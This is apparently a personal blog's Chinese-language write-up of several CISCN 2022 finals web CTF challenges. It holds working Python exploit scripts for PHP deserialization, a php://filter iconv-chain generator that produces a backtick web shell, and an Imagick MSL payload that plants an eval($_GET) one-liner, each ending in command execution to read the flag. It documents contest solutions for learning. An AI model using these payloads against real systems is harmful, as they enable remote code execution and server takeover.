Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • CISCN2022 总决赛部分题解

    • webunserializegame
      • web_just (break复现)
        • websoeasy4u
          • web_backdoor (break复线)
            • webhoutai
              • 即将上线的项目
                • web-flasf
                Eki
                2022-08-25
                CTF Contest
                目录

                CISCN2022 总决赛部分题解

                最后rank22 勉强一等 被大佬们出的题爆杀 不过学到很多有意思的东西

                # web_unserialize_game

                <?php
                
                if (isset($_GET['p'])) {
                    $p = unserialize($_GET['p']);
                }
                highlight_file("index.php");
                
                class Game
                {
                    private $a;
                    protected $b;
                
                    public function __construct($a, $b)
                    {
                        $this->a = $a;
                        $this->b = $b;
                        $this->check($a,$b);
                        eval($a.$b);
                    }
                
                
                    public function __destruct()
                    {
                        $a = (string)$this->a;
                        $b = (string)$this->b;
                        $this->check($a,$b);
                        $a("", $b);
                    }
                
                
                    private function check($a,$b)
                    {
                        if (preg_match_all("(eval|dl|ls|p|escape|er|str|cat|flag|file|ay|or|ftp|dict|\.\.|h|w|exec|s|open)", $a) > 0) die("Hacker!");
                        if (preg_match_all("(find|filter|c|pa|proc|dir|regexp|n|alter|load|grep|o|file|t|w|insert|sort|h|sy|\.\.|array|sh|touch|e|php)", $b) > 0) die("fl4g?");
                    }
                
                    public function setAB($a, $b)
                    {
                        $this->a = $a;
                        $this->b = $b;
                    }
                }
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32
                33
                34
                35
                36
                37
                38
                39
                40
                41
                42

                很显然destruct有漏洞,没想到fix直接把$a("", $b); ban了就行

                利用的话,首先fuzz了一遍defined_function

                <?php
                $funcs = get_defined_functions();
                
                foreach($funcs as $func_group){
                    foreach($func_group as $func){
                        if(check($func,"")) {
                            var_dump($func);
                            //new Game($func,"");
                        }
                    }
                }
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11

                发现比较好的就剩create_function了

                create_function 会匿名创建一个函数,函数名从lambda_1开始算起

                有个坑点是,fpm下php好像每次都会递增函数名数字,且前面的函数会失效,一开始爆太多,后面根本不知道序号到哪了,重置了下环境才打出来

                最终exp是

                import requests
                from urllib.parse import quote
                
                url = "http://10.10.56.16"
                
                proxy = {"http":"http://127.0.0.1:8080"}
                
                def exp(func,func_name):
                    poc = f"a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Game%22%3A2%3A%7Bs%3A7%3A%22%00Game%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A{len(func)}%3A%22{quote(func)}%22%3B%7Di%3A1%3BO%3A4%3A%22Game%22%3A2%3A%7Bs%3A7%3A%22%00Game%00a%22%3Bs%3A{len(func_name)}%3A%22{quote(func_name)}%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A0%3A%22%22%3B%7D%7D"
                
                    res = requests.get(url+"?p="+poc
                        #,proxies=proxy
                    )
                
                    #print(res.text)
                    
                    if "Call to undefined" not in res.text:
                        print("sucess")
                        print(res.text)
                        return True
                    return False
                
                func = '$xx="s\\x79s\\x74\\x65m";$xx("\\x63a\\x74 /fl4g1");'
                
                #func = '$xx="s\\x79s\\x74\\x65m";$xx("l\\x73 / -al");'
                
                func_name = "\x00lambda_22"
                
                #exp(func,func_name)
                
                i = 100
                while True:
                    #i += 1
                    #print(i)
                    if exp(func,f"\x00lambda_{i}"):
                        print(i)
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32
                33
                34
                35
                36

                # web_just (break复现)

                出题人仓库 https://github.com/zhcy2018/ciscn2022-build/

                首先是gmp的问题,恰巧比赛前存资料的时候看到有gmp

                https://paper.seebug.org/1909/

                有两个trick比赛的时候没有考虑到,一个是内联注释绕过函数匹配正则,一个是require()也可以动态执行,那么就可以使用陆队的lfi大法

                照着出题人的wp复现了一下,exp如下

                import requests
                import base64
                
                # <?=`$_GET[0]`;;?>
                def php_lfi(base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"):
                
                    #参数file
                    file_to_use = "/etc/passwd"
                
                    conversions = {
                        'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
                        'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
                        'C': 'convert.iconv.UTF8.CSISO2022KR',
                        '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
                        '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
                        'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
                        's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
                        'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
                        'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
                        'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
                        'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
                        '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
                        'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
                        'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
                        'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
                        'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
                        '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
                        '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
                    }
                
                
                    # generate some garbage base64
                    filters = "convert.iconv.UTF8.CSISO2022KR|"
                    filters += "convert.base64-encode|"
                    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
                    filters += "convert.iconv.UTF8.UTF7|"
                
                
                    for c in base64_payload[::-1]:
                            filters += conversions[c] + "|"
                            # decode and reencode to get rid of everything that isn't valid base64
                            filters += "convert.base64-decode|"
                            filters += "convert.base64-encode|"
                            # get rid of equal signs
                            filters += "convert.iconv.UTF8.UTF7|"
                
                    filters += "convert.base64-decode"
                
                    final_payload = f"php://filter/{filters}/resource={file_to_use}"
                
                    return final_payload
                
                
                session = requests.session()
                
                #burp0_url = "http://10.10.56.23/"
                
                url = "http://127.0.0.1:8889"
                
                poc = f"require/**/({php_lfi()})"
                
                poc = '{pboot:if(date(%s))}(123123){/pboot:if}' % poc.encode()
                
                poc = f"s:{len(poc)}:\"{poc}\";"
                
                inner = 's:1:"1";a:2:{s:4:"head";'+poc+'i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
                poc = 'a:1:{i:0;C:3:"GMP":'+str(len(inner))+':{'+inner+'}}'
                
                poc = poc.encode()
                
                poc = base64.b64encode(poc).decode()
                
                #poc = "YToxOntpOjA7QzozOiJHTVAiOjEyNzp7czoxOiIxIjthOjI6e3M6NDoiaGVhZCI7czo1NDoie3Bib290OmlmKGRhdGUoInN5cyIuInRlbSIoImxzIikpKX0oMTIzMTIzKXsvcGJvb3Q6aWZ9IjtpOjA7TzoxMjoiRGF0ZUludGVydmFsIjoxOntzOjE6InkiO1I6Mjt9fX19"
                
                
                cookies = {"PHPSESSION": "1vlg7sj1r4h2sffk5b7paqgp32", "ser_data": poc}
                headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://localhost:2333", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://localhost:2333/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
                data = {"num1": "123", "num2": "123", "submit1": "\xe8\xae\xa1\xe7\xae\x97"}
                res = session.post(url,params={"0":"/readflag"}, headers=headers, cookies=cookies, data=data)
                
                print(res.text)
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32
                33
                34
                35
                36
                37
                38
                39
                40
                41
                42
                43
                44
                45
                46
                47
                48
                49
                50
                51
                52
                53
                54
                55
                56
                57
                58
                59
                60
                61
                62
                63
                64
                65
                66
                67
                68
                69
                70
                71
                72
                73
                74
                75
                76
                77
                78
                79
                80
                81

                fix就是把eval逻辑关了

                # web_so_easy_4_u

                盲测发现avatar地址存在目录穿越,直接读flag即可

                # web_backdoor (break复线)

                出题人仓库 https://github.com/AFKL-CUIT/CTF-Challenges/tree/master/CISCN/2022/backdoor

                之前看过 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ 这篇文章,可惜没细究 只知道 imagick解析构造的msl文件能写php马

                不过这题如果通过upload_progress在前面写session文件的话,msl没法解析带upload_progress头的session文件,因此这条路走不通。而且即使爆破解析了,由于webroot目录不可写,还是不能执行,只能从include走。

                事实上,在使用php session时,session本身就是序列化存储的,因此对session的访问或修改会触发序列化,也就会触发__sleep,然而这又带来一个问题就是,解析msl转换文件时,前后有垃圾字符。

                出题的师傅找的了新的文件格式ppm,好处是前后不会有字符问题

                payload如下

                <?xml version="1.0" encoding="UTF-8"?>
                <image>
                 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjg6ImJhY2tkb29yIjoyOntzOjQ6InBhdGgiO3M6MTM6Ii90bXAvc2Vzc19la2kiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30="/>
                 <write filename="/tmp/sess_eki" />
                </image>
                
                1
                2
                3
                4
                5

                其中就包括了一句话,到时候__sleep触发,也include这个文件

                image-20220825194523353

                然后imageick支持通配符 vid:msl:/tmp/php*就能匹配到上传的临时文件,然后再尝试包含就行

                import requests as r
                import threading
                
                #content = payload
                #payload = "123456"
                
                
                url = "http://127.0.0.1:8890"
                
                
                payload = f"""<?xml version="1.0" encoding="UTF-8"?>
                <image>
                 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjg6ImJhY2tkb29yIjoyOntzOjQ6InBhdGgiO3M6MTM6Ii90bXAvc2Vzc19la2kiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30="/>
                 <write filename="/tmp/sess_eki" />
                </image>
                """
                
                
                #rm
                res = r.get(f"{url}/index.php?cmd=rm")
                
                #upload and convert
                
                data = 'O:8:"backdoor":3:{s:14:"\x00backdoor\x00argv";s:17:"vid:msl:/tmp/php*";s:15:"\x00backdoor\x00class";s:7:"imagick";s:12:"do_exec_func";b:0;}'
                res = r.post(f"{url}/index.php",files={"submit":("test.msl",payload,"text/plain")},params={"cmd":"unserialze","data":data})
                
                
                # trigger __sleep and include
                data = 'O:8:"backdoor":2:{s:5:"class";s:13:"session_start";s:12:"do_exec_func";b:1;}'
                res = r.post(f"{url}/index.php?1=system('/readflag')",data={"cmd":"unserialze","data":data},headers={"Cookie":"PHPSESSID=eki"})
                
                print(res.text)
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32

                # webhoutai

                fix 把俩child_process修了就行

                # 即将上线的项目

                $name($content)命令执行,break没啥好说的

                fix 存点提示后续看看能不能写个相关的通防

                防御:黑客不会写马,也不存在任何写文件操作。但是由于项目中无法禁止system函数,因此黑客攻击流量混在正常命令执行中,check中会执行各种各样的命令来保证项目的正常运转,需要提醒的是,system函数被禁用是会导致check不过的,系统中存在各种各样的项目自建文件,但真正的flag文件只在/目录下。我们的目标是绝对不可以让黑客获取到真正的flag文件,所以你会怎么修补呢?

                web_即将上线的项目 流量篡改。

                # web-flasf

                fix 就是加强下前面的username和password过滤

                最后urlopen把flag拦截了

                待复现

                编辑 (opens new window)
                上次更新: 2022/08/25, 20:35:35
                最近更新
                01
                QWB CTF2022 线下赛总决赛部分题解
                08-25
                02
                DSCTF2022决赛 部分writeup
                08-08
                03
                强网杯2022线上赛 Web题解
                08-06
                更多文章>
                Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
                This work is licensed under a Creative Commons Attribution 4.0 International License.
                • 跟随系统
                • 浅色模式
                • 深色模式
                • 阅读模式